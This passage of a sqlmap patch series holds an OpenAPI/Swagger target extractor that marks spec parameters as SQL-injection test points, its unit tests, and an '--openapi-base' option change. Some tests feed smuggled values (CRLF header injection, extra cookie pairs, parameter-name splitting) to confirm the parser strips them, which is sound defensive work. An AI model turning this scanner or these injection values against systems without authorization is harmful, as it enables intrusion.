re.match(r"(?i)[a-z][a-z0-9+.-]*://", url): # no scheme/host -> unscannable relative URL + logger.warning("skipping OpenAPI operation '%s %s' (unable to resolve an absolute target URL; provide the specification by URL or add a 'servers'/'host' entry)" % (str(method).upper(), path)) + continue + + data = None + body = _resolve(spec, operation.get("requestBody") or {}) + content_ = body.get("content") if isinstance(body, dict) else None + if isinstance(content_, dict) and content_: + mediaTypes = [_ for _ in content_ if isinstance(_, six.string_types)] # media-type keys must be strings + picked = next((_ for _ in mediaTypes if _ == "application/json" or _.endswith("+json") or "json" in _), None) \ + or ("application/x-www-form-urlencoded" if "application/x-www-form-urlencoded" in mediaTypes else None) \ + or (mediaTypes[0] if mediaTypes else None) + if picked: + mediaType = content_[picked] if isinstance(content_[picked], dict) else {} + example = _explicitExample(spec, mediaType) # media-type-level example/examples wins over schema synthesis + if example is _NO_EXAMPLE: + example = _example(spec, mediaType.get("schema") or {}, cache=cache) + if "json" in picked: + data = _noMark(json.dumps(example, default=str)) + headers.append((HTTP_HEADER.CONTENT_TYPE, "application/json")) + elif picked == "application/x-www-form-urlencoded" and isinstance(example, dict): + data = "&".join("%s=%s" % (_urlSafe(name, "[]"), _urlSafe(_scalar(value))) for name, value in example.items()) + headers.append((HTTP_HEADER.CONTENT_TYPE, "application/x-www-form-urlencoded")) + elif isinstance(example, six.string_types): + # raw (text / xml / ...) body -> mark it so the whole body becomes a testable point + data = _noMark(example) + CUSTOM_INJECTION_MARK_CHAR + headers.append((HTTP_HEADER.CONTENT_TYPE, picked)) + else: # e.g. multipart/form-data or a structured non-JSON body (no safe serialization) + logger.debug("not synthesizing a '%s' request body for '%s %s'" % (picked, str(method).upper(), path)) + elif isinstance(operation.get("parameters"), list) or isV2: + for param in params: # Swagger v2 in:"body" + if isinstance(param, dict) and param.get("in") == "body": + example = _example(spec, param.get("schema") or {}, cache=cache) + data = _noMark(json.dumps(example, default=str)) + headers.append((HTTP_HEADER.CONTENT_TYPE, "application/json")) + + if data is None and form: # Swagger v2 in:"formData" fields -> urlencoded body + data = "&".join(form) + headers.append((HTTP_HEADER.CONTENT_TYPE, "application/x-www-form-urlencoded")) + + retVal.append((url, str(method).upper(), data, headers or None)) + except Exception as ex: + logger.warning("skipping OpenAPI operation '%s %s' (%s)" % (str(method).upper(), path, getSafeExString(ex))) + + return retVal diff --git a/tests/test_openapi.py b/tests/test_openapi.py new file mode 100644 index 000000000..40c8cd930 --- /dev/null +++ b/tests/test_openapi.py @@ -0,0 +1,456 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit coverage for the OpenAPI/Swagger target extractor (lib/parse/openapi.py): schema example +synthesis, $ref resolution (incl. cycles), base-URL resolution (v2 + v3, relative/templated servers), +request-body handling (JSON / form), parameter->PLACE mapping, and (importantly) graceful handling of +malformed / poorly-defined specifications (a broken spec must never crash or hang the parser). + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import json +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.parse.openapi import openApiTargets, yaml as _yaml + +HAS_YAML = _yaml is not None + + +def _targets(spec, origin="http://h"): + return openApiTargets(json.dumps(spec) if isinstance(spec, dict) else spec, origin) + +def _byMethodPath(targets): + return dict(("%s %s" % (method, url), (method, url, data, headers)) for url, method, data, headers in targets) + + +class TestOpenApi(unittest.TestCase): + def test_v3_query_path_and_base(self): + spec = {"openapi": "3.0.0", "servers": [{"url": "/api"}], + "paths": {"/pet/{id}": {"get": {"parameters": [ + {"name": "id", "in": "path", "schema": {"type": "integer"}}, + {"name": "q", "in": "query", "schema": {"type": "string", "example": "x"}}]}}}} + targets = _targets(spec, "http://host:8080") + self.assertEqual(len(targets), 1) + url, method, data, headers = targets[0] + self.assertEqual(method, "GET") + from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR as MARK + self.assertEqual(url, "http://host:8080/api/pet/1%s?q=x" % MARK) # relative server + filled+marked path + query + self.assertIsNone(data) + + def test_v3_json_body_sets_data_and_content_type(self): + spec = {"openapi": "3.0.0", "paths": {"/o": {"post": {"requestBody": {"content": {"application/json": + {"schema": {"type": "object", "properties": {"name": {"type": "string"}, "qty": {"type": "integer"}}}}}}}}}} + url, method, data, headers = _targets(spec)[0] + self.assertEqual(method, "POST") + self.assertEqual(json.loads(data), {"name": "1", "qty": 1}) + self.assertIn(("Content-Type", "application/json"), headers) + + def test_form_urlencoded_body(self): + spec = {"openapi": "3.0.0", "paths": {"/login": {"post": {"requestBody": {"content": + {"application/x-www-form-urlencoded": {"schema": {"type": "object", + "properties": {"u": {"type": "string"}, "p": {"type": "string"}}}}}}}}}} + url, method, data, headers = _targets(spec)[0] + self.assertEqual(sorted(data.split("&")), ["p=1", "u=1"]) + + def test_value_synthesis(self): + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "a", "in": "query", "schema": {"type": "integer"}}, + {"name": "b", "in": "query", "schema": {"type": "boolean"}}, + {"name": "c", "in": "query", "schema": {"type": "string", "enum": ["first", "second"]}}, + {"name": "d", "in": "query", "schema": {"type": "string", "default": "dd"}}, + {"name": "e", "in": "query", "schema": {"type": "string", "format": "uuid"}}]}}}} + url = _targets(spec)[0][0] + self.assertIn("a=1", url) + self.assertIn("b=true", url) + self.assertIn("c=first", url) # enum[0] + self.assertIn("d=dd", url) # default + self.assertIn("e=11111111-1111-1111-1111-111111111111", url) # format uuid + + def test_ref_resolution_and_allof_oneof(self): + spec = {"openapi": "3.0.0", + "components": {"schemas": {"Tag": {"type": "object", "properties": {"n": {"type": "string"}}}}}, + "paths": { + "/ref": {"post": {"requestBody": {"content": {"application/json": {"schema": {"$ref": "#/components/schemas/Tag"}}}}}}, + "/all": {"post": {"requestBody": {"content": {"application/json": {"schema": {"allOf": [ + {"type": "object", "properties": {"x": {"type": "string"}}}, + {"type": "object", "properties": {"y": {"type": "integer"}}}]}}}}}}, + "/one": {"post": {"requestBody": {"content": {"application/json": {"schema": {"oneOf": [ + {"type": "object", "properties": {"only": {"type": "string"}}}, + {"type": "object", "properties": {"other": {"type": "string"}}}]}}}}}}}} + m = _byMethodPath(_targets(spec)) + self.assertEqual(json.loads(m["POST http://h/ref"][2]), {"n": "1"}) + self.assertEqual(json.loads(m["POST http://h/all"][2]), {"x": "1", "y": 1}) # allOf merged + self.assertEqual(json.loads(m["POST http://h/one"][2]), {"only": "1"}) # oneOf -> first + + def test_ref_cycle_terminates(self): + spec = {"openapi": "3.0.0", + "components": {"schemas": {"Node": {"type": "object", "properties": { + "name": {"type": "string"}, "parent": {"$ref": "#/components/schemas/Node"}}}}}, + "paths": {"/n": {"post": {"requestBody": {"content": {"application/json": + {"schema": {"$ref": "#/components/schemas/Node"}}}}}}}} + targets = _targets(spec) # must not hang / recurse forever + self.assertEqual(len(targets), 1) + self.assertTrue(json.loads(targets[0][2]).get("name") == "1") + + def test_swagger_v2_base_and_body(self): + spec = {"swagger": "2.0", "host": "api.example.com", "basePath": "/v2", "schemes": ["https"], + "paths": {"/pet": {"post": {"parameters": [{"name": "b", "in": "body", + "schema": {"type": "object", "properties": {"id": {"type": "integer"}}}}]}}}} + url, method, data, headers = _targets(spec, None)[0] + self.assertEqual(url, "https://api.example.com/v2/pet") + self.assertEqual(json.loads(data), {"id": 1}) + + def test_server_template_variables(self): + spec = {"openapi": "3.0.0", "servers": [{"url": "https://{env}.x.io/{ver}", + "variables": {"env": {"default": "prod"}, "ver": {"default": "v3"}}}], + "paths": {"/p": {"get": {}}}} + self.assertEqual(_targets(spec, None)[0][0], "https://prod.x.io/v3/p") + + def test_headers_are_hashable_tuples(self): + # kb.targets is an OrderedSet, so the emitted headers must be hashable (tuple, not list) + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "h", "in": "header", "schema": {"type": "string"}}]}}}} + headers = _targets(spec)[0][3] + self.assertTrue(headers is None or isinstance(tuple(headers), tuple)) + + def test_header_and_cookie_params_are_injection_marked(self): + # header/cookie params get the custom injection mark ('*') appended so they become testable + # (custom) injection points (query/body params are still auto-tested alongside them) + from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR as MARK + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "X-Api", "in": "header", "schema": {"type": "string", "example": "k"}}, + {"name": "sess", "in": "cookie", "schema": {"type": "string", "example": "v"}}]}}}} + headers = dict(_targets(spec)[0][3]) + self.assertEqual(headers["X-Api"], "k" + MARK) + self.assertEqual(headers["Cookie"], "sess=v" + MARK) + + # --- graceful degradation: a broken/poorly-defined spec must never crash the parser --- + + def test_malformed_raises_valueerror(self): + for bad in ("{not json,,,", "[1,2,3]", "{}", '{"openapi":"3.0.0"}', '{"openapi":"3.0.0","paths":[1,2]}'): + self.assertRaises(ValueError, openApiTargets, bad, "http://h") + + def test_malformed_servers_do_not_crash(self): + for servers in ('{"url":"/a"}', '"http://h"', "[]"): + spec = '{"openapi":"3.0.0","servers":%s,"paths":{"/x":{"get":{}}}}' % servers + self.assertEqual(len(openApiTargets(spec, "http://h")), 1) # no crash, still one target + + def test_url_and_body_values_are_encoded(self): + # special characters in synthesized values must be percent-encoded so they can not break the + # URL structure (param smuggling) or the form body + spec = {"openapi": "3.0.0", "paths": { + "/x/{p}": {"get": {"parameters": [ + {"name": "p", "in": "path", "schema": {"type": "string", "example": "a/b"}}, + {"name": "q", "in": "query", "schema": {"type": "string", "example": "a b&c=d"}}]}}, + "/f": {"post": {"requestBody": {"content": {"application/x-www-form-urlencoded": + {"schema": {"type": "object", "properties": {"u": {"type": "string", "example": "a b&x"}}}}}}}}}} + byMethod = dict((method, (url, data)) for url, method, data, headers in _targets(spec)) + getUrl = byMethod["GET"][0] + self.assertIn("/x/a%2Fb", getUrl) # path value '/' encoded (no extra segment) + self.assertIn("q=a%20b%26c%3Dd", getUrl) # query value space/&/= encoded (no smuggling) + self.assertNotIn(" ", getUrl) + self.assertEqual(byMethod["POST"][1], "u=a%20b%26x") + + @unittest.skipUnless(HAS_YAML, "pyyaml not available") + def test_yaml_spec(self): + y = ("openapi: 3.0.0\n" + "paths:\n" + " /y:\n" + " get:\n" + " parameters:\n" + " - name: q\n" + " in: query\n" + " schema: {type: string, example: hi}\n") + targets = openApiTargets(y, "http://h") + self.assertEqual(len(targets), 1) + self.assertEqual(targets[0][0], "http://h/y?q=hi") + + def test_shared_recursive_refs_scale(self): + # a self-referential schema reused across many operations must terminate promptly (depth cap + + # per-$ref memoization); without them this would blow up exponentially and hang the test + schemas = {"Node": {"type": "object", "properties": { + "name": {"type": "string"}, + "child": {"$ref": "#/components/schemas/Node"}, + "list": {"type": "array", "items": {"$ref": "#/components/schemas/Node"}}}}} + paths = dict(("/n%d" % i, {"post": {"requestBody": {"content": {"application/json": + {"schema": {"$ref": "#/components/schemas/Node"}}}}}}) for i in range(60)) + targets = _targets({"openapi": "3.0.0", "components": {"schemas": schemas}, "paths": paths}) + self.assertEqual(len(targets), 60) + self.assertEqual(json.loads(targets[0][2]).get("name"), "1") + + def test_swagger_v2_formdata_body(self): + # in:"formData" params must become a urlencoded body (previously dropped -> empty POST) + spec = {"swagger": "2.0", "host": "h", "paths": {"/l": {"post": {"parameters": [ + {"name": "u", "in": "formData", "type": "string"}, + {"name": "p", "in": "formData", "type": "string"}]}}}} + url, method, data, headers = _targets(spec, None)[0] + self.assertEqual(method, "POST") + self.assertEqual(sorted(data.split("&")), ["p=1", "u=1"]) + + def test_relative_base_is_skipped(self): + # a spec that yields no scheme/host (relative server + no origin) must be skipped, not emitted + spec = {"openapi": "3.0.0", "servers": [{"url": "/api"}], "paths": {"/x": {"get": {}}}} + self.assertEqual(openApiTargets(json.dumps(spec), None), []) # relative -> skipped + self.assertEqual(len(openApiTargets(json.dumps(spec), "http://h")), 1) # absolute with origin -> kept + + def test_unsupported_body_media_type_no_crash(self): + # a structured body under a non-JSON/form media type must not crash and must not fabricate a body, + # but the endpoint URL is still produced + spec = {"openapi": "3.0.0", "paths": {"/x": {"post": {"requestBody": {"content": {"application/xml": + {"schema": {"type": "object", "properties": {"a": {"type": "string"}}}}}}}}}} + url, method, data, headers = _targets(spec)[0] + self.assertEqual((url, method, data), ("http://h/x", "POST", None)) + + def test_injection_mark_char_in_value_is_not_doubled(self): + # an example value already containing the custom injection mark must not create a stray point + from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR as MARK + spec = {"openapi": "3.0.0", "paths": {"/x": {"post": { + "parameters": [{"name": "H", "in": "header", "schema": {"type": "string", "example": "a%sb" % MARK}}], + "requestBody": {"content": {"application/json": {"schema": {"type": "object", + "properties": {"n": {"type": "string", "example": "x%sy" % MARK}}}}}}}}}} + url, method, data, headers = _targets(spec)[0] + self.assertEqual(dict(headers)["H"], "ab" + MARK) # single trailing mark only + self.assertEqual(json.loads(data), {"n": "xy"}) # mark stripped from body value + + @unittest.skipUnless(HAS_YAML, "pyyaml not available") + def test_non_string_method_keys_do_not_crash(self): + # YAML path-item keys are not guaranteed to be strings (404 -> int, on -> bool); must not crash + y = ("openapi: 3.0.0\n" + "servers: [{url: 'http://h'}]\n" + "paths:\n" + " /x:\n" + " get: {}\n" + " 404: {}\n" + " on: {}\n") + targets = openApiTargets(y, "http://h") + self.assertEqual(len(targets), 1) # only the real GET operation + self.assertEqual(targets[0][1], "GET") + + def test_hostile_base_url_metadata_does_not_crash(self): + # _baseUrl runs once, OUTSIDE the per-operation try, so malformed server/scheme/basePath metadata + # must not raise (it would abort the entire extraction) + hostile = [ + {"openapi": "3.0.0", "servers": [{"url": "https://{e}.x/", "variables": [1, 2]}], "paths": {"/x": {"get": {}}}}, + {"openapi": "3.0.0", "servers": [{"url": "https://{e}.x/", "variables": {"e": "prod"}}], "paths": {"/x": {"get": {}}}}, + {"openapi": "3.0.0", "servers": [{"url": 123}], "paths": {"/x": {"get": {}}}}, + {"swagger": "2.0", "host": "h", "schemes": {"a": 1}, "paths": {"/x": {"get": {}}}}, + {"swagger": "2.0", "host": "h", "basePath": 123, "paths": {"/x": {"get": {}}}}] + for spec in hostile: + self.assertEqual(len(_targets(spec)), 1) # no crash, still one target + + def test_param_entry_not_a_dict_is_skipped(self): + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": ["oops", {"name": "q", "in": "query"}]}}}} + self.assertIn("q=1", _targets(spec)[0][0]) # bad entry skipped, good one still used + + @unittest.skipUnless(HAS_YAML, "pyyaml not available") + def test_yaml_date_examples_serialize(self): + # unquoted YAML dates parse to datetime.date, which is not JSON-serializable -> must be stringified, + # not silently dropped (dates are pervasive in real specs) + y = ("openapi: 3.0.0\n" + "servers: [{url: 'http://h'}]\n" + "paths:\n" + " /x:\n" + " post:\n" + " requestBody:\n" + " content:\n" + " application/json:\n" + " schema: {type: object, properties: {created: {type: string, example: 2020-01-01}}}\n") + url, method, data, headers = openApiTargets(y, "http://h")[0] + self.assertEqual(json.loads(data), {"created": "2020-01-01"}) + + def test_crlf_in_header_and_cookie_is_stripped(self): + # a spec-supplied header/cookie name or value must not carry CR/LF (header injection / request + # corruption); query/path values are separately percent-encoded + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "X-A", "in": "header", "schema": {"type": "string", "example": "a\r\nX-Evil: 1"}}, + {"name": "X\r\nB", "in": "header", "schema": {"type": "string", "example": "v"}}, + {"name": "sid", "in": "cookie", "schema": {"type": "string", "example": "a\r\nSet: x"}}]}}}} + headers = dict(_targets(spec)[0][3]) + for name, value in headers.items(): + self.assertNotIn("\r", name + value) + self.assertNotIn("\n", name + value) + self.assertIn("X-A", headers) + self.assertIn("XB", headers) # control chars removed from the name + + def test_explicit_examples_preferred_over_schema(self): + # a concrete example/examples on the media-type or parameter object must win over schema synthesis + # (real specs carry the canonical, validation-passing value there) + body = {"openapi": "3.0.0", "paths": {"/x": {"post": {"requestBody": {"content": {"application/json": { + "schema": {"type": "object", "properties": {"name": {"type": "string"}}}, "example": {"name": "real"}}}}}}}} + self.assertEqual(json.loads(_targets(body)[0][2]), {"name": "real"}) + examples = {"openapi": "3.0.0", "paths": {"/x": {"post": {"requestBody": {"content": {"application/json": { + "schema": {"type": "object"}, "examples": {"first": {"value": {"k": "v1"}}}}}}}}}} + self.assertEqual(json.loads(_targets(examples)[0][2]), {"k": "v1"}) + param = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "q", "in": "query", "example": "E", "schema": {"type": "string"}}]}}}} + self.assertIn("q=E", _targets(param)[0][0]) + + def test_openapi_31_const_and_type_array(self): + spec = {"openapi": "3.1.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "c", "in": "query", "schema": {"const": "CV"}}, + {"name": "n", "in": "query", "schema": {"type": ["integer", "null"]}}]}}}} + url = _targets(spec)[0][0] + self.assertIn("c=CV", url) # const used + self.assertIn("n=1", url) # ["integer","null"] resolved to integer, not the generic fallback + + def test_parameter_names_are_encoded(self): + # a param NAME with structural chars must be encoded so it can not split/smuggle params or truncate + # at a fragment; deep-object brackets ([]) are preserved + spec = {"openapi": "3.0.0", "paths": { + "/q": {"get": {"parameters": [ + {"name": "a&b=c", "in": "query", "schema": {"type": "string"}}, + {"name": "a#b", "in": "query", "schema": {"type": "string"}}, + {"name": "filter[status]", "in": "query", "schema": {"type": "string"}}]}}, + "/f": {"post": {"requestBody": {"content": {"application/x-www-form-urlencoded": + {"schema": {"type": "object", "properties": {"x&y": {"type": "string"}}}}}}}}}} + byMethod = dict((method, (url, data)) for url, method, data, headers in _targets(spec)) + getUrl = byMethod["GET"][0] + self.assertIn("a%26b%3Dc=1", getUrl) + self.assertIn("a%23b=1", getUrl) + self.assertIn("filter[status]=1", getUrl) # brackets kept (deep-object param names) + self.assertNotIn("#", getUrl) + self.assertEqual(byMethod["POST"][1], "x%26y=1") + + def test_undefined_template_var_does_not_leak(self): + # a server/path template variable with no definition must not leave a literal '{...}' in the URL + spec = {"openapi": "3.0.0", "servers": [{"url": "https://api.x.com/{basePath}/v3"}], + "paths": {"/pets": {"get": {}}}} + url = _targets(spec, "http://h")[0][0] + self.assertNotIn("{", url) + self.assertEqual(url, "https://api.x.com/1/v3/pets") # absolute server used as-is (host not rewritten) + + def test_absolute_server_url_is_not_rewritten_to_origin(self): + # a spec served from one host but declaring an absolute API server on another host must scan the + # DECLARED API host, not the spec's origin + spec = {"openapi": "3.0.0", "servers": [{"url": "https://api.example.com/v1"}], + "paths": {"/pets": {"get": {}}}} + self.assertEqual(_targets(spec, "https://docs.example.com")[0][0], "https://api.example.com/v1/pets") + + def test_path_parameter_is_injection_marked(self): + from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR as MARK + spec = {"openapi": "3.0.0", "paths": {"/users/{id}": {"get": {"parameters": [ + {"name": "id", "in": "path", "schema": {"type": "integer"}}]}}}} + self.assertEqual(_targets(spec)[0][0], "http://h/users/1" + MARK) + + def test_form_urlencoded_sets_content_type_and_multipart_skipped(self): + form = {"openapi": "3.0.0", "paths": {"/f": {"post": {"requestBody": {"content": + {"application/x-www-form-urlencoded": {"schema": {"type": "object", "properties": {"u": {"type": "string"}}}}}}}}}} + url, method, data, headers = _targets(form)[0] + self.assertEqual(data, "u=1") + self.assertIn(("Content-Type", "application/x-www-form-urlencoded"), headers) + multipart = {"openapi": "3.0.0", "paths": {"/m": {"post": {"requestBody": {"content": + {"multipart/form-data": {"schema": {"type": "object", "properties": {"u": {"type": "string"}}}}}}}}}} + url, method, data, headers = _targets(multipart)[0] + self.assertIsNone(data) # multipart is skipped, not mis-serialized as urlencoded + + def test_path_item_ref_is_resolved(self): + spec = {"openapi": "3.1.0", + "components": {"pathItems": {"Ping": {"get": {"parameters": [ + {"name": "q", "in": "query", "schema": {"type": "string", "example": "z"}}]}}}}, + "paths": {"/ping": {"$ref": "#/components/pathItems/Ping"}}} + targets = _targets(spec) + self.assertEqual(len(targets), 1) + self.assertIn("q=z", targets[0][0]) + + def test_operation_parameter_overrides_path_level(self): + spec = {"openapi": "3.0.0", "paths": {"/x": { + "parameters": [{"name": "q", "in": "query", "schema": {"type": "string", "example": "shared"}}], + "get": {"parameters": [{"name": "q", "in": "query", "schema": {"type": "string", "example": "op"}}]}}}} + url = _targets(spec)[0][0] + self.assertIn("q=op", url) # operation value wins + self.assertEqual(url.count("q="), 1) # not duplicated + + def test_multiple_cookies_aggregate_into_one_header(self): + from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR as MARK + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "a", "in": "cookie", "schema": {"type": "string"}}, + {"name": "b", "in": "cookie", "schema": {"type": "string"}}]}}}} + headers = _targets(spec)[0][3] + cookieHeaders = [v for (k, v) in headers if k == "Cookie"] + self.assertEqual(cookieHeaders, ["a=1%s; b=1%s" % (MARK, MARK)]) # one aggregated Cookie header + + def test_cookie_name_value_cannot_smuggle_pairs(self): + # a cookie name that is not a token is dropped; structural chars in the value ('; ,' / whitespace) + # are stripped so a spec can not inject additional cookie pairs + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "a; injected", "in": "cookie", "schema": {"type": "string"}}, + {"name": "sid", "in": "cookie", "schema": {"type": "string", "example": "v; z=1"}}]}}}} + cookieHeaders = [v for (k, v) in (_targets(spec)[0][3] or []) if k == "Cookie"] + self.assertEqual(len(cookieHeaders), 1) + cookie = cookieHeaders[0] + self.assertNotIn(";", cookie.rstrip("*")) # no interior ';' -> no smuggled pair + self.assertNotIn("injected", cookie) # invalid cookie name dropped + self.assertNotIn(" ", cookie) + + def test_loose_path_without_leading_slash(self): + # a malformed path key missing its leading '/' must not glue onto the base (".../v1pets") + spec = {"openapi": "3.0.0", "servers": [{"url": "https://api.x/v1"}], "paths": {"pets": {"get": {}}}} + self.assertEqual(_targets(spec, None)[0][0], "https://api.x/v1/pets") + + def test_array_query_param_is_best_effort_scalar(self): + # documents current best-effort behavior: an array query param is scalarized+encoded, NOT expanded + # per style/explode. If richer serialization is added later, update this expectation deliberately. + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "ids", "in": "query", "schema": {"type": "array", "items": {"type": "integer"}}}]}}}} + url = _targets(spec)[0][0] + self.assertIn("ids=", url) + self.assertNotIn(" ", url) # whatever the encoding, it must not break the URL + self.assertTrue(url.startswith("http://h/x?ids=")) + + def test_invalid_header_name_is_skipped(self): + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "Bad Name", "in": "header", "schema": {"type": "string"}}, + {"name": "Also:Bad", "in": "header", "schema": {"type": "string"}}, + {"name": "X-Good", "in": "header", "schema": {"type": "string"}}]}}}} + headers = dict(_targets(spec)[0][3] or []) + self.assertIn("X-Good", headers) + self.assertNotIn("Bad Name", headers) + self.assertNotIn("Also:Bad", headers) + + def test_explicit_null_example_falls_back_to_schema(self): + # 'example: null' must not serialize as null/"null" - fall back to schema synthesis + q = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "q", "in": "query", "example": None, "schema": {"type": "string", "example": "good"}}]}}}} + self.assertIn("q=good", _targets(q)[0][0]) + b = {"openapi": "3.0.0", "paths": {"/x": {"post": {"requestBody": {"content": {"application/json": + {"example": None, "schema": {"type": "object", "properties": {"a": {"type": "integer"}}}}}}}}}} + self.assertEqual(json.loads(_targets(b)[0][2]), {"a": 1}) + + def test_degrade_not_skip_on_odd_shapes(self): + # enum-as-dict, non-string param name, and content[type]-as-list must degrade (op preserved) + for spec in ( + {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [{"name": "q", "in": "query", "schema": {"enum": {"a": 1}}}]}}}}, + {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [{"name": 5, "in": "header", "schema": {"type": "string"}}]}}}}, + {"openapi": "3.0.0", "paths": {"/x": {"post": {"requestBody": {"content": {"application/json": [1, 2]}}}}}}): + self.assertEqual(len(_targets(spec)), 1) + + def test_malformed_ref_and_properties_degrade_not_skip(self): + # a non-string/unhashable $ref or a non-dict 'properties' must degrade the value (not lose the op) + for schema in ({"$ref": 123}, {"$ref": [1, 2]}, {"type": "object", "properties": [1, 2]}): + spec = {"openapi": "3.0.0", "paths": {"/x": {"post": {"requestBody": + {"content": {"application/json": {"schema": schema}}}}}}} + self.assertEqual(len(_targets(spec)), 1) # operation preserved, not skipped + + def test_undefined_bits_are_skipped_not_fatal(self): + spec = {"openapi": "3.0.0", "paths": { + "/a": {"get": {"parameters": [{}]}}, # param with no name + "/b": {"post": {"requestBody": {"content": {"application/json": + {"schema": {"$ref": "#/components/schemas/DoesNotExist"}}}}}}, # dangling $ref + "/c": {"get": {"parameters": [{"name": "p", "in": "query", + "schema": {"$ref": "https://other/x.json#/Y"}}]}}}} # external $ref + targets = _targets(spec) + self.assertEqual(len(targets), 3) # all three still produced + + +if __name__ == "__main__": + unittest.main() From 2719ce6c591477c99f8b11cb1cb5956d2a56ebf5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 2 Jul 2026 21:57:17 +0200 Subject: [PATCH 125/165] Minor patch --- data/txt/sha256sums.txt | 8 ++++---- lib/core/option.py | 11 ++++++++--- lib/core/optiondict.py | 1 + lib/core/settings.py | 2 +- lib/parse/cmdline.py | 5 ++++- 5 files changed, 18 insertions(+), 9 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index abab556e8..4b922ab0a 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -181,15 +181,15 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py -91cc64c3dadf05eae666fcbbb0cd44c8ed8dd60592334b419ec8748cdded5f30 lib/core/optiondict.py -227716f876f3af24e2c5ae4818d1e3b9bc17627f1876d66bcefc4953e660f1af lib/core/option.py +47c9828bdfa606a02f07925539d7af55c5eaf1fda61d05ecc40f73d77df036f9 lib/core/optiondict.py +3ac60716cf1c619b80038acb8b213c728cc607e7c5a387911e01635a23fbc92b lib/core/option.py 21b2b1745107c211fc7593923a3da7a808d40763c00091c28de5f7c129bcf3bc lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 0c36a65b6237732eb001d333f80f0c58c088ff01ae80cf07e4dcc6da2a806364 lib/core/readlineng.py 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -1769800f72aa1e88c885ffb641e6e816d7d569b8c4a554bf7c7de821961a5235 lib/core/settings.py +3871d1b0d2ec82e2b0ed4705199519a473f92dbbf0db911e96ca613774961021 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -200,7 +200,7 @@ b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unesc 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -1a67c8e0c46fb1244535d3961c35300da4aecd1872fd1fe2e3a752a5643875ed lib/parse/cmdline.py +fef119c6f3f2fe6a092112fd832d645c58e4c3c2af0bd97ace4487372c1e3574 lib/parse/cmdline.py 02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py diff --git a/lib/core/option.py b/lib/core/option.py index 8fd9c491d..f828e4cf9 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -502,14 +502,17 @@ def _setOpenApiTargets(): warnMsg = "option '--method' will override the HTTP method(s) derived from the OpenAPI/Swagger specification" logger.warning(warnMsg) - origin = None + # origin resolves a spec's relative 'servers' to absolute target URLs: an explicit '--openapi-base' + # (needed for a host-less local spec) or, when fetched by URL, the fetch URL itself. + origin = conf.openApiBase.rstrip('/') if conf.openApiBase else None if re.match(r"(?i)\Ahttps?://", conf.openApiFile): infoMsg = "fetching OpenAPI/Swagger specification from '%s'" % conf.openApiFile logger.info(infoMsg) from lib.request.connect import Connect as Request content = Request.getPage(url=conf.openApiFile, raise404=True)[0] - match = re.match(r"(?i)(https?://[^/]+)", conf.openApiFile) - origin = match.group(1) if match else None + if not origin: + match = re.match(r"(?i)(https?://[^/]+)", conf.openApiFile) + origin = match.group(1) if match else None else: conf.openApiFile = safeExpandUser(conf.openApiFile) checkFile(conf.openApiFile) @@ 